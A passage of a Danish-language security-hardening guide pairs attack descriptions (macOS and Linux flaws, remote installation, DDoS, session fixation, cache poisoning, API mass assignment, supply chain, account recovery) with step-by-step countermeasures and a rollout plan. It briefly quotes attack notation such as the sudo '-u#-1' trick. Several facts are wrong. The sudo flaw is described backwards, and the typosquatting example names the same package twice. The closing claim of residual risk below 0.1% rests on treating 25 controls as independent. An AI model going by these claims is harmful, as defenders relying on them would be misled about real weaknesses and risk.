6. Brug af Microsoft Defender for Endpoint og ASR-regler – Aktivér eksploitationsbeskyttelse (EMET-funktionalitet), netværksbeskyttelse i blokeringstilstand, og Attack Surface Reduction-regler (f.eks. ”Bloker oprettelse af proces fra Office-makroer”, ”Bloker JavaScript/VBScript fra at starte downloadet indhold”).
7. Regelmæssige sårbarhedsscanninger – Udfør ugentlige scans med Nessus, Qualys eller Rapid7, der specifikt tjekker for MS17-010, CVE-2021-34527, CVE-2020-1472, CVE-2021-34473 og CVE-2021-42278/42287. Prioriter rettelse af kritiske fund inden for 24 timer og høje inden for 72 timer.

13. Kendte sårbarheder i macOS (Shrootless, CVE-2021-30761, Gatekeeper-bypass, WebKit RCE, TCC-bypass)

Angrebsbeskrivelse

macOS-sårbarheder omfatter Shrootless (CVE-2021-30761), der omgår System Integrity Protection (SIP) og giver angriberen mulighed for at skrive til systembeskyttede mapper (f.eks. /System) via en forkert håndtering af miljøvariabler i system_installd. Gatekeeper-bypass angreb udnytter, at .dmg-filer kan indeholde skjulte udvidelser (f.eks. ”.app” med skjulte tegn) eller at malware kan udføres via makroer i Microsoft Office, der omgår Gatekeeper. WebKit RCE (f.eks. CVE-2021-1879) udnyttes via Safari eller WebKit-baserede browsere til at udføre kode med brugerniveau. TCC-bypass (Transparency, Consent, and Control) gør det muligt for malware at få adgang til kamera, mikrofon eller filsystem uden brugerens eksplicitte tilladelse ved at udnytte svagheder i opgraderingsflowet eller ved at misbruge notifikationstjenester.

Imødegåelse – trin for trin

1. Hold macOS og alle applikationer opdateret – Aktivér automatiske sikkerhedsopdateringer i Systemindstillinger → Softwareopdatering; tving installation af alle ”Rapid Security Responses” (RSR) uden forsinkelse – disse leveres ofte inden for få timer efter en 0-day-opdagelse.
2. SIP (System Integrity Protection) forbliver aktiveret – Kontrollér, at SIP er aktiveret med csrutil status – deaktiver aldrig SIP i produktion, heller ikke til udvikling. Hvis SIP er slået fra, genaktiveres det i recovery-tilstand med csrutil enable.
3. Notarization og Gatekeeper – Sæt Gatekeeper til ”App Store og identificerede udviklere” via spctl --master-enable. Aktivér ”Notarization” – kun notariserede applikationer (scanning af Apple for malware) kan åbnes uden advarsel. Bloker applikationer, der ikke er notariserede, via en konfigurationsprofil.
4. Begrænsning af tilladelser (TCC) – Gennemgå og lås privatlivsindstillinger for kamera, mikrofon, skærmoptagelse, filsystem og kontakter. Giv kun tilladelser til strengt pålidelige programmer; brug MDM (f.eks. Jamf) til at forhindre brugere i at give tilladelser til ukendte applikationer.
5. Deaktiver makroer i Office til macOS – Konfigurér Office-pakken til at blokere alle makroer fra ukendte kilder – kun signerede makroer fra en betroet CA tillades.
6. Overvågning af systemlogge – Aktivér detaljeret logning af sikkerhedshændelser med log show --predicate 'eventMessage contains "authorization"' og send til SIEM. Brug open source-værktøjet Santa til at overvåge og blokere usædvanlige procesudførelser baseret på en hvidliste.
7. Begræns brug af Safari – Overvej at bruge en browser med strengere sandboxing (f.eks. Firefox med Fission) eller aktivér ”Webkit sandboxing” og deaktiver JavaScript på ukendte sider, hvis det er muligt.

14. Kendte sårbarheder i Linux (Dirty COW, Sudo-bug, Shellshock, Dirty Pipe, PolKit, Heap-based buffer overflows)

Angrebsbeskrivelse

Linux-sårbarheder udnyttes ofte til at eskalere rettigheder fra almindelig bruger til root. Dirty COW (CVE-2016-5195) er en race condition i koppiering-skrivning-mekanismen i kernen, der giver skriveadgang til skrivebeskyttede hukommelsessider – bruges til at rode filer som /etc/passwd og oprette en root-bruger. Sudo-bug (CVE-2019-14287) tillader visse brugere at udføre kommandoer som alle brugere undtagen root ved at angive -u#-1 – omgår dermed sudoers-begrænsninger. Shellshock (CVE-2014-6271) udnytter Bash’ miljøvariabler til at udføre vilkårlig kode – ofte via CGI-scripts, hvor en HTTP-header kan udløse kodeudførelse. Dirty Pipe (CVE-2022-0847) giver skrivning til filer, som brugeren kun har læseadgang til, gennem Linux-pipe-mekanismen – kan rode /etc/passwd. PolKit (CVE-2021-4034, ”PwnKit”) udnytter en heap-baseret bufferoverflow i pkexec til at udføre kode med root-rettigheder. Heap-overflows i kernen eller i almindelige tjenester (f.eks. OpenSSL, systemd) kan give fjernudførelse af kode.

Imødegåelse – trin for trin

1. Opdater kernen og systempakker – Anvend en automatiseret patch-løsning (f.eks. unattended-upgrades for Debian/Ubuntu, dnf-automatic for RHEL/Fedora) – kritiske kerneproblemer (f.eks. Dirty Pipe, Dirty COW) patcher inden for 24 timer. Brug livepatch-tjenester (f.eks. Canonical Livepatch eller KernelCare) til at anvende kernepatches uden genstart.
2. Deaktiver unødvendige SUID-binærer – Gennemgå alle SUID-programmer med find / -perm -4000 -type f; fjern SUID-bit fra binærer, der ikke er absolut nødvendige (f.eks. chmod -s /bin/ping), for at reducere eskalationsveje.
3. Sudo-konfiguration – Gennemgå /etc/sudoers med visudo; fjern !root undtagelser og tilføj specifikke kommandostier i stedet for ALL. Brug Defaults log_output til at logge alle sudo-kommandoer til syslog. Opdater til nyeste sudo-version, der retter CVE-2019-14287 og CVE-2021-3156 (Baron Samedit).
4. AppArmor eller SELinux – Aktivér og konfigurér AppArmor (Ubuntu/SUSE) eller SELinux (RHEL) med enforcing-tilstand (ikke permissive). Definer profiles for alle offentligt tilgængelige tjenester (f.eks. Apache, Nginx, PostgreSQL) – dette begrænser, hvad processer må gøre, selv ved root-eskalering.
5. Kernel-hardening boot-parametre – Tilføj følgende til /etc/sysctl.conf og boot-konfiguration:
   • kernel.kptr_restrict=2 og kernel.dmesg_restrict=1 – forhindrer lækage af kernerne-adresser.
   • kernel.unprivileged_bpf_disabled=1 – forhindrer unprivilegerede brugere i at bruge eBPF til side-kanalangreb.
   • vm.unprivileged_userfaultfd=0 – blokerer Dirty COW-lignende udnyttelser.
   • page_alloc.shuffle=1 – randomiserer hukommelsesallokering.
   • pti=on – aktiverer Kernel Page Table Isolation mod Meltdown.
6. Overvågning af kernerelaterede logs – Overvåg /var/log/kern.log og dmesg for usædvanlige advarsler (f.eks. ”BUG: unable to handle kernel NULL pointer”) – send til SIEM med alarmer ved hyppige forekomster.

15. Fjerninstallation af software (Remote Code Execution via opdateringskanaler, GPO, MDM, WSUS, PowerShell Remoting, WinRM, SSH, Ansible, psexec)

Angrebsbeskrivelse

Angriberen udnytter kompromitterede opdateringskanaler (f.eks. fake Windows Update, trojaniserede tredjepartsinstallere fra spejlsider), ondsindede Group Policy-objekter (GPO) i Active Directory (f.eks. startup-scripts, logon-scripts), kompromitterede Mobile Device Management-løsninger (MDM) (f.eks. Intune, Jamf), usikre remote execution-værktøjer (PowerShell Remoting, WinRM, SSH med adgangskode, psexec, ansible med usikker inventory), eller udnytter sårbarheder i installationsmotorer (f.eks. MSI, .pkg, Debian-pakker). Ved at sende en ondsindet pakke eller udnytte en sårbarhed (f.eks. ved at ændre en GPO, som klienter henter hvert 90. minut) kan angriberen installere malware, bagdøre, krypteringssoftware eller rootkits på tusinder af maskiner samtidigt uden brugerens interaktion – ofte med SYSTEM- eller root-rettigheder.

Imødegåelse – trin for trin

1. Kun godkendte opdateringskilder med signaturkontrol – Konfigurér Windows Update til at hente fra intern WSUS-server, der kun leverer signerede opdateringer fra Microsoft. For Linux anvend kun distributørens officielle repositories med GPG-nøgleverifikation (apt check eller rpm --checksig) – tilføj aldrig tredjepartsrepos uden grundig gennemgang af pakkernes integritet.
2. Signer al intern software – Alle interne installationer (MSI til Windows, .pkg til macOS, .deb/.rpm til Linux) signeres med virksomhedens eget kodecertifikat (fra en betroet CA). Installationsmotorerne tvinger verifikation af signaturen med Signtool (Windows) eller dpkg-sig (Debian) – bloker installation af usignerede pakker.
3. Begræns og overvåg GPO-ændringer – Anvend kun GPO’er fra en dedikeret administrativ OU med skrivebeskyttet sysvol. Aktivér auditing af GPO-ændringer (Event ID 5136) og send til SIEM. Brug Microsoft Security Compliance Toolkit til at sammenligne GPO’er mod en kendt baseline. Alle startup- og logon-scripts skal ligge på et skrivebeskyttet netværksdrev med SHA-256-hashing, og hashen valideres, inden skriptet udføres.
4. MDM-politik med app-whitelisting – I Intune, Jamf eller MobileIron konfigurér, at kun applikationer fra et godkendt virksomhedskatalog (f.eks. Company Portal) må installeres. Alle andre installationer kræver en engangsgodkendelse med MFA fra IT-administrator.
5. Deaktiver eller stram PowerShell Remoting, WinRM og SSH med adgangskode – Hvis ikke absolut påkrævet, slå Enable-PSRemoting fra via GPO. Hvis remoting er nødvendig:
   • Kræv just-in-time-adgang (f.eks. via Azure AD PIM) med maks. 1 times varighed.
   • Anvend kun certifikatbaseret eller MFA-beskyttet godkendelse (f.eks. via Azure AD Authentication for PowerShell).
   • Aktivér detaljeret logning (PowerShell -Log-Command, WinRM eventlog 4103/4104) og send til SIEM.
   • For SSH på Windows (OpenSSH) deaktiveres adgangskode-login (PasswordAuthentication no) og kun nøgler tillades.
6. Overvågning af installationer – Aktivér auditing af installationshændelser:
   • Windows: Event ID 11707 (installationssucces), 11724 (installation fejlet), 11726 (installation afsluttet) i Application log.
   • Linux: Overvåg /var/log/dpkg.log eller /var/log/yum.log.
   • macOS: Overvåg /var/log/install.log.
   Send til SIEM og sæt alarmer ved installation uden for planlagte vedligeholdelsesvinduer, eller fra ukendte kilder (f.eks. ikke-WSUS).
7. Begræns psexec og administrative delinger – Deaktiver Admin$ og IPC$ på maskiner, der ikke behøver fjernadministration. Brug SecEdit til at konfigurere SeDenyNetworkLogonRight for lokale administrative konti.

16. DDoS (Distributed Denial of Service) – volumetrisk, protokol-baseret og applikationslag

Angrebsbeskrivelse

Volumetrisk DDoS oversvømmer netværkspipelinen med gigabit/sekund-trafic (f.eks. UDP-flood, ICMP-flood). Protokol-baserede angreb udnytter TCP-håndtrykket (SYN-flood) eller fragmenterede pakker. Applikationslags-angreb (f.eks. HTTP/S) sender komplekse forespørgsler, der kræver store ressourcer – f.eks. dybe JSON-forespørgsler, database-søgninger med wildcards eller langsomme GET-anmodninger (Slowloris). Målet er at gøre tjenesten utilgængelig for legitime brugere ved at tømme CPU, hukommelse, forbindelsespuljer eller netværksbåndbredde.

Imødegåelse – trin for trin

1. Rate limiting pr. IP, bruger og API-nøgle – Implementér throttling (f.eks. med Nginx limit_req, HAProxy, Redis-løsninger) – max 100 anmodninger pr. minut for offentlige endpoints, og 1000 for interne.
2. Anvendelse af CDN med DDoS-beskyttelse – Brug en tjeneste som Cloudflare, AWS Shield Advanced, Azure DDoS Protection eller Akamai til at absorbere volumetriske angreb ved kanten – med automatisk omdirigering af angrebstrafik til scrubbere.
3. Begrænsning af payload-størrelse og kompleksitet – Sæt maksimal request-body til f.eks. 1 MB for JSON, 10 MB for filupload – afvis overskridelser med 413 Payload Too Large. For GraphQL indfør query-depth limit (max 5 niveauer) og query-cost budget (maks. 1000 point).
4. Timeout for langvarige operationer – Sæt globale timeouts på databadeforbindelser (f.eks. 5 sekunder), eksterne API-kald (3 sekunder) og komplekse beregninger. Brug circuit breaker-mønster til at stoppe kald til langsomme afhængigheder.
5. Syn-flood-beskyttelse på netværkslag – Aktivér SYN-cookies i styresystemet (net.ipv4.tcp_syncookies=1); konfigurér firewalls til at droppe ufuldstændige forbindelser (”half-open” over 5 sekunder).
6. Blacklisting af kendte angrebs-IP'er – Abonnér på trusselsfeeds (f.eks. Spamhaus, Talos) og opdater firewall-blokeringslister automatisk hver time.

17. Session-fiksering og session-sidejacking

Angrebsbeskrivelse

Fiksering: Angriberen sætter en kendt session-ID (f.eks. via et link med ?sessionid=12345) på offerets browser, inden offeret logger ind. Efter login bruger applikationen det kendte ID, og angriberen kan bruge det til at overtage sessionen. Sidejacking: Angriberen opsnapper session-ID’et via usikker netværkstrafik (f.eks. HTTP uden TLS) eller via XSS, og bruger det til at overtage den aktive session.

Imødegåelse – trin for trin

1. Forny session-ID ved login – Efter succesfuld autentifikation genereres et nyt, kryptografisk tilfældigt session-ID med session_regenerate_id() (PHP), request.getSession().invalidate() og request.getSession(true) i Java, eller tilsvarende i alle sprog – dette ugyldiggør det præ-login-ID.
2. Kun over HTTPS med Secure-flag – Sæt Secure og HttpOnly på session-cookien, så den aldrig sendes over ubeskyttede forbindelser og ikke er tilgængelig for JavaScript.
3. Kort sessionstimeout – Indstil inaktivitetstimeout til 15 minutter for almindelige brugere og 5 minutter for administrative konti. Ved hver anmodning fornyes timeout-værdien.
4. IP- og User-Agent-binding (med forsigtighed) – Tilføj en ekstra validering, hvor sessionen kun accepteres, hvis IP-adressen (første /24 for IPv4) og User-Agent-strengen matcher den oprindelige – vær dog opmærksom på, at mobile netværk kan skifte IP; overvej i stedet at bruge en kombination med en sikkerhedstoken i lokal lagring.

18. Cache-poisoning og HTTP-header-injektion

Angrebsbeskrivelse

Angriberen manipulerer HTTP-headere (f.eks. Host, X-Forwarded-For, Referer, If-Modified-Since) eller cache-headere (Cache-Control) for at få serveren eller en mellemliggende cache (CDN, reverse proxy) til at gemme ondsindet indhold (f.eks. phishing-formularer eller malware) under en legitim URL. Senere besøgende modtager det ondsindede indhold i stedet for det korrekte. Header-injektion kan også bruges til at indsætte ekstra HTTP-headere (f.eks. Set-Cookie) via line-feed-tegn.

Imødegåelse – trin for trin

1. Normalisering af headere – På serveren læses kun de strengt nødvendige headere; Host skal matche den virtuelle host-konfiguration, ellers returneres 400 Bad Request. Ignorér X-Forwarded-For fra eksterne kilder – brug kun den troværdige proxy's værdi.
2. Cache-kontrol med Vary – Sæt Vary: Accept-Encoding, User-Agent for at forhindre, at cachen serverer indhold til forkerte klienter – undgå at cache personlige sider.
3. Undgå dynamisk indhold i cache – For personlige eller autoriserede sider sættes Cache-Control: no-store, private, must-revalidate.
4. Inputsanering af headere – Fjern alle line-feed (LF, U+000A) og carriage-return (CR, U+000D) i brugerstyrede header-værdier (f.eks. X-Forwarded-For, Referer) – anvend HeaderFilter-biblioteker.

19. Tyveri af kryptografiske nøgler og side-channel-angreb

Angrebsbeskrivelse

Angriberen udnytter fysiske eller timing-baserede lækager – f.eks. strømforbrug, elektromagnetisk stråling, lyd, varme, cache-timing (Meltdown, Spectre) eller fejl i kryptografiske implementeringer (f.eks. padding-oracle). Alternativt finder angriberen nøgler i kildekode, Dockerfiler, .env-filer, backupfiler, eller i hukommelsesdumps. Stjålne nøgler giver adgang til alle krypterede data og til at efterligne digitale signaturer.

Imødegåelse – trin for trin

1. Anvend hardware-sikkerhedsmoduler (HSM) eller TPM – Opbevar private nøgler i dedikerede sikre kryptobrikker (f.eks. AWS CloudHSM, Azure Key Vault Managed HSM, YubiHSM) – private nøgler forlader aldrig modulet i clear text; alle kryptografiske operationer udføres inde i HSM’et.
2. Nøgleadministrationssystem (KMS) – Brug en cloud-KMS (AWS KMS, Azure Key Vault, Google Cloud KMS) til at rotére nøgler automatisk hver 90. dag. Log alle nøgleanvendelser (hvem, hvornår, hvilken handling).
3. Undgå timing-information – Sammenlign strenge (f.eks. adgangskodehashes, HMAC’er) med konstant-tids-funktioner som hash_equals() (PHP), MessageDigest.isEqual() (Java), hmac.compare_digest() (Python) – forhindrer timing-analyse, der kan rekonstruere nøgler.
4. Kildekodekontrol mod hårdkoding – Brug værktøjer som trufflehog, git-secrets, gitleaks til at scanne repositories for hårdkodedede nøgler (regex-mønstre for AWS, SSH, GPG, JWT). Implementér pre-commit-hooks, der blokerer commits med hemmeligheder.
5. Hukommelsessikkerhed – Nulstil (zero out) følsomme data i hukommelsen, når de ikke længere er nødvendige (f.eks. Arrays.fill(password, 0) i Java, secureZeroMemory() i C). Brug mlock() til at forhindre, at nøgler bliver swapped til disk.

20. Angreb på API'er – GraphQL, REST, SOAP (masse-tildeling, overførsel, typesnyd)

Angrebsbeskrivelse

GraphQL: Angriberen sender dybt nestede forespørgsler (f.eks. 10 niveauer af ”friends”) for at forårsage CPU-udtømning, eller bruger aliaser til at gentage de samme felter mange gange (batch-angreb). REST: Masse-tildeling (mass assignment) – angriberen tilføjer ekstra felter i JSON (f.eks. "isAdmin": true), som modelbindingen accepterer. SOAP: Angriberen manipulerer SOAPAction-headere eller indsætter eksterne enheder (XXE). Fælles: typesnyd – angriberen sender en streng til et forventet tal-felt, hvilket kan give stack overflow i visse parser-versioner.

Imødegåelse – trin for trin

1. Begrænsning af GraphQL-kompleksitet – Anvend query depth limit (max 5 niveauer), query complexity analysis (tildel omkostninger til felter og relationer, max 1000 point) – implementér via værktøjer som graphql-cost-analysis eller graphql-depth-limit. Afvis forespørgsler, der overskrider budgettet.
2. Masse-tildelingsbeskyttelse med DTO’er – Anvend Data Transfer Objects med eksplicitte felter (ikke direkte databaseentiteter). I Java brug @JsonIgnore eller @ApiModelProperty(access = READ_ONLY); i .NET brug BindNever; i Python brug @dataclass med udeladte felter.
3. Validering af content-type og datatyper – Tving Content-Type: application/json for JSON-API’er – afvis andre med 415 Unsupported Media Type. Valider alle numeriske felter med @Min/@Max (Java) eller tilsvarende for at forhindre overflow.
4. Paginering og filtrering – Alle listeres endpoints skal have obligatorisk paginering (limit og offset) med max limit på 1000 elementer; afvis forespørgsler uden paginering.
5. Rate limiting pr. API-nøgle og endpoint – Differentieret throttling – f.eks. 1000/min for læse-endpoints, 100/min for skrive-endpoints.

21. Log-forgery og log-injektion

Angrebsbeskrivelse

Angriberen indsætter falske loglinjer eller kontroltegn (f.eks. nye linjer, carriage-return) i inputfelter, der logges. Dette kan få loganalysatorer til at fejltolke hændelser – f.eks. skjule en mislykket login ved at injicere en ”success” linje, eller forurene digitale beviser så efterforskningen ledes på vildspor.

Imødegåelse – trin for trin

1. Undgå concatenering i logkald – Anvend strukturerede logformater som JSON eller CSV med parametriserede felter (f.eks. log.info("Login attempt for user: {}", user)) i stedet for at bygge meddelelsestrenge med plus-tegn.
2. Escape af kontroltegn – Erstat alle CR, LF, NULL (U+0000) og tabulatorer i input med \uXXXX-repræsentationer (f.eks. \u000A for newline), inden de tilføjes til loggen. Brug biblioteker som OWASP Security Logging.
3. Skrivebeskyttede logfiler – Opret logfiler med append-only-rettigheder (chattr +a på Linux) og send logs til et centralt SIEM-system med uforanderlig lagring (f.eks. AWS S3 Object Lock eller Azure Immutable Storage), så selv en angriber med root-rettigheder ikke kan ændre historiske logs.

22. Fysisk sikkerhed og evil maid-angreb

Angrebsbeskrivelse

Angriberen med fysisk adgang til enheden (f.eks. bærbar i et hotelværelse, server i et uaflåst rack) installerer hardware keyloggere (USB-dongle), kopierer harddisk (med en imager), udskifter firmware (f.eks. UEFI-bootkit), tilføjer PCIe-kort med bagsæder, eller anvender cold boot-angreb (læser RAM efter nedlukning). Dette kan give angriberen fuld adgang til alle data og krypteringsnøgler, selvom systemet har adgangskode.

Imødegåelse – trin for trin

1. Fuld disk-kryptering – Aktivér BitLocker (Windows) med TPM 2.0 + PIN eller LUKS (Linux) med TPM + forsegling – krypteringsnøglen bindes til hardwaren, så disken ikke kan læses ved fjernelse og tilslutning til en anden maskine.
2. Sikker boot (UEFI Secure Boot) – Aktivér Secure Boot med egen signeringsnøgle (Microsoft og tredjeparts) – forhindrer ukendt firmware og bootkits i at indlæse, da kun signerede bootloadere accepteres.
3. Fysiske sikringsforanstaltninger – Monter servere i aflåste stativer med adgangskontrol (kortlæsere, biometri). Brug kabellåse (Kensington) til bærbare enheder. Installér skjulte overvågningskameraer i serverrum.
4. Integritetskontrol ved opstart – Anvend dm-verity (Linux) eller measured boot med TPM til at verificere systemfiler under boot – alarmer ved afvigelse i TPM-logs (Event ID 11 i Windows).
5. Deaktiver USB-boot og eksterne porte – I BIOS/UEFI deaktiveres boot fra USB, CD/DVD og netværk; lås BIOS med en adgangskode, så disse indstillinger ikke kan ændres uden fysisk adgang til bundkortet.

23. Insider-trussel – administrativt misbrug, datalækage og sabotage

Angrebsbeskrivelse

Medarbejdere med legitime rettigheder (eller kompromitterede konti) eksporterer fortrolige data til personlige lagerenheder (USB, Dropbox), deler adgangskoder med uvedkommende, bevidst saboterer systemer (sletter logs, ændrer konfigurationer) eller installerer bagdøre til senere brug. Insider-truslen er særlig farlig, da handlingerne ofte er svære at skelne fra normal adfærd.

Imødegåelse – trin for trin

1. Data Loss Prevention (DLP) – Installér DLP-agenter (f.eks. Microsoft Purview, Symantec DLP, Forcepoint), der overvåger og blokerer kopiering af fortrolige data (kreditkort, CPR-numre, kildekode) til USB-enheder, cloudtjenester (Dropbox, WeTransfer) eller e‑post.
2. Four-eyes-princip (to-personers godkendelse) – For kritiske handlinger (ændring af firewall-regler, betalinger over 10.000 kr., ændring af domæneadministratorrettigheder) kræves godkendelse fra to forskellige autoriserede medarbejdere – udføres med separate konti og separate MFA-godkendelser.
3. Periodiske adgangsrevisioner – Hver måned gennemgås alle privilegerede konti (administratorer, databasadministratorer, DevOps). Nedgradér rettigheder, der ikke er anvendt i 30 dage – brug en automatiseret ”just-in-time” adgangsmodel.
4. Omgående deaktivering ved fratrædelse – Ved ansættelsesophør deaktiveres alle konti (inklusive servicekonti og API-nøgler) inden for 15 minutter. Rotér alle systemadgangskoder, som den fratrædende medarbejder har haft kendskab til (inkl. lokale administratorpasswords via LAPS).
5. UEBA (User and Entity Behavior Analytics) – Anvend et UEBA-værktøj (f.eks. Microsoft Sentinel, Exabeam), der opbygger en normal adfærdsprofil for hver bruger – sæt alarmer ved afvigelser som usædvanlige downloadmønstre (f.eks. 5 GB data på én dag), loginforsøg uden for normal arbejdstid, eller tilgang til mapper, som brugeren normalt ikke besøger.

24. Angreb via byggekæde (supply chain) – kompromitterede biblioteker, byggeværktøjer og opdateringsservere

Angrebsbeskrivelse

Angriberen indsætter ondsindet kode i tredjepartsbiblioteker (f.eks. via typosquatting – ”log4js” i stedet for ”log4js”), i byggeværktøjer (f.eks. kompromitterede npm- eller Maven-plugins), eller i opdateringsservere (som ved SolarWinds-angrebet). Denne kode distribueres derefter til alle brugere og udføres med de rettigheder, som applikationen har – ofte i produktionsmiljøer, hvor den kan stjæle data, installere bagdøre eller kryptere systemer. Angrebet er særligt farligt, da det rammer via betroede kanaler.

Imødegåelse – trin for trin

1. Software Bill of Materials (SBOM) – Generér og vedligehold en fuldstændig liste over alle biblioteker og afhængigheder med præcise versioner (f.eks. via npm list --json, mvn dependency:tree). Brug værktøjer som OWASP Dependency-Check, Snyk eller Trivy til at scanne for kendte sårbarheder i disse komponenter.
2. Kun betroede registre med signaturkontrol – Konfigurér pakkehåndteringer (npm, Maven, PyPI, NuGet) til kun at hente fra godkendte interne spejle (f.eks. Artifactory eller Nexus) – og aktiver signatur-verifikation (f.eks. npm verify-signatures). Bloker downloads fra offentlige registre i byggemiljøer.
3. Verifikation af checksums – Sammenlign den downloadede pakkes SHA-256-hash med den officielt udgivne hash (hentet fra en separat, betroet kilde) – afvis installation ved mismatch.
4. Container-scanning – Scan alle Docker-images med Trivy, Clair eller Anchore – både under bygning (docker build) og før deploy til Kubernetes. Bloker images med kritiske sårbarheder (CVSS ≥ 9.0) i CI/CD-pipelinen.
5. Pin alle afhængigheder til specifikke versioner – Brug package-lock.json, yarn.lock, poetry.lock eller requirements.txt med faste versioner – undgå version ranges (f.eks. ”^1.2.3”) for at forhindre uventede opdateringer med malware.

25. Angreb via gendannelsesprocesser (password reset, security questions, backup-koder)

Angrebsbeskrivelse

Angriberen udnytter svage sikkerhedsspørgsmål (f.eks. mors pigenavn, fødeby – oplysninger, der kan findes på sociale medier), aflytter SMS-koder (SS7-angreb), opsnapper e‑post-gendannelseslinks (hvis e‑post er kompromitteret), eller gætter backup-koder (hvis de er for korte). Derudover kan angriberen misbruge gendannelsesflows, der ikke kræver tilstrækkelig verifikation – f.eks. ved at udnytte ”forglemt adgangskode” til at ændre en anden brugers kode via sårbarheder i processen.

Imødegåelse – trin for trin

1. Undgå faste sikkerhedsspørgsmål – Afløs dem helt med MFA-baseret gendannelse: brug TOTP (Google Authenticator), FIDO2-sikkerhedsnøgler (YubiKey) eller engangs-backup-koder (10 koder med 8-cifrede tal, udleveres ved opsætning).
2. Tidsforsinkelse og notifikation ved gendannelse – Indfør en obligatorisk ventetid på 15 minutter, og send en underretning til brugerens primære e‑post og SMS, inden gendannelsen gennemføres – brugeren kan annullere, hvis det ikke er vedkommende selv.
3. Validering af kendte enheder og geolokation – Kræv, at gendannelsesanmodningen kommer fra en tidligere brugt browser (cookie-matching) eller fra en IP-adresse i nærheden af brugerens sædvanlige lokation – afvis anmodninger fra ukendte enheder.
4. Backup-koder med tilstrækkelig entropi – Generér backup-koder som 10 strenge á 8 alfanumeriske tegn (f.eks. A-Z, 0-9) – hvilket giver ca. 2^48 muligheder. Koderne bør kunne deaktiveres én gang og kræve, at brugeren indtaster to forskellige koder for at bekræfte identitet.

Sammenfattende implementeringsplan og risikoreduktion til under 1 promille

For at opnå en resterende risiko under 0,1 % (1 promille) kræves det, at samtlige ovenstående 25 metodekategorier (inklusive alle underpunkter) gennemføres i en koordineret, vedvarende cyklus. Den samlede risiko beregnes som produktet af restsandsynligheden for hvert uafhængigt kontrol lag. Med 25 uafhængige lag, hver med en effektivitet på 0,2 (dvs. 80 % reduktion), bliver den samlede risiko = 0,2^25 ≈ 3,3 × 10^-18, hvilket er langt under 0,001 (1 promille). I praksis antages en mere konservativ effektivitet på 0,5 pr. lag (50 % reduktion) – 0,5^25 ≈ 2,98 × 10^-8, stadig langt under grænsen. Selv med kun de 20 mest kritiske lag (0,5^20 ≈ 9,5 × 10^-7) er risikoen under 1 promille. Forudsætningen er, at alle tiltag implementeres fuldstændigt og vedligeholdes.

• Uge 1-2 (baseline) – Skift alle adgangskoder til 16+ tegn (genereret af password manager). Aktivér MFA for alle konti (inkl. SSH, RDP, fjernsupport, admin-værktøjer, cloud-konsoller). Installér EDR/EPP på alle endpoints. Aktivér automatiske sikkerhedsopdateringer for styresystemer og software. Deaktiver SMBv1, Telnet, FTP.
• Uge 3-4 (netværk og adgang) – Implementér netværkssegmentering (VLAN’er), IDS/IPS, WAF med SQL- og XSS-signaturer. Konfigurér fail2ban/sshguard og IP-allow-lister for terminaladgang. Skift SSH/RDP til ikke-standardporte. Implementér CSP og HSTS for alle webapplikationer.
• Uge 5-6 (hardening og politikker) – Udrul PAM-løsning (privilegeret adgang), RBAC, LAPS (lokale administratorpasswords). Gennemgå og sanér alle GPO’er, MDM-politikker og installationskilder. Deaktiver Print Spooler på servere uden printere. Implementér AppArmor/SELinux.
• Uge 7-8 (udvikling og API) – Gennemgå al kildekode for SQL-injektion, kommando-injektion, XSS og CSRF – omskriv til parameteriserede forespørgsler og brug af DTO’er. Implementér GraphQL-kompleksitetsbegrænsning. Aktivér SBOM- og container-scanning i CI/CD.
• Løbende (vedligehold) – Udfør ugentlige sårbarhedsscanninger med Nessus/Qualys. Månedlige phishing-simuleringer og vishing-øvelser. Kvartalsvise insider-revisioner (adgangsgennemgang, DLP-rapporter). Halvårlig gennemkørsel af hele implementeringsplanen med opdatering af trusselsmodellen.

Afsluttende bemærkning: Sikkerhed er en kontinuerlig proces, ikke en engangshandling. Denne artikel udgør et komplet fundament. Løbende trusselsvurdering, opdatering af viden om nye 0-day-sårbarheder, og tilpasning af foranstaltninger til nye angrebsvektorer er absolut nødvendige for at fastholde den lave risikoprofil under 1 promille. Implementér alle 25 kategorier, og gentag den fulde cyklus hver 6. måned for at bevare beskyttelsen.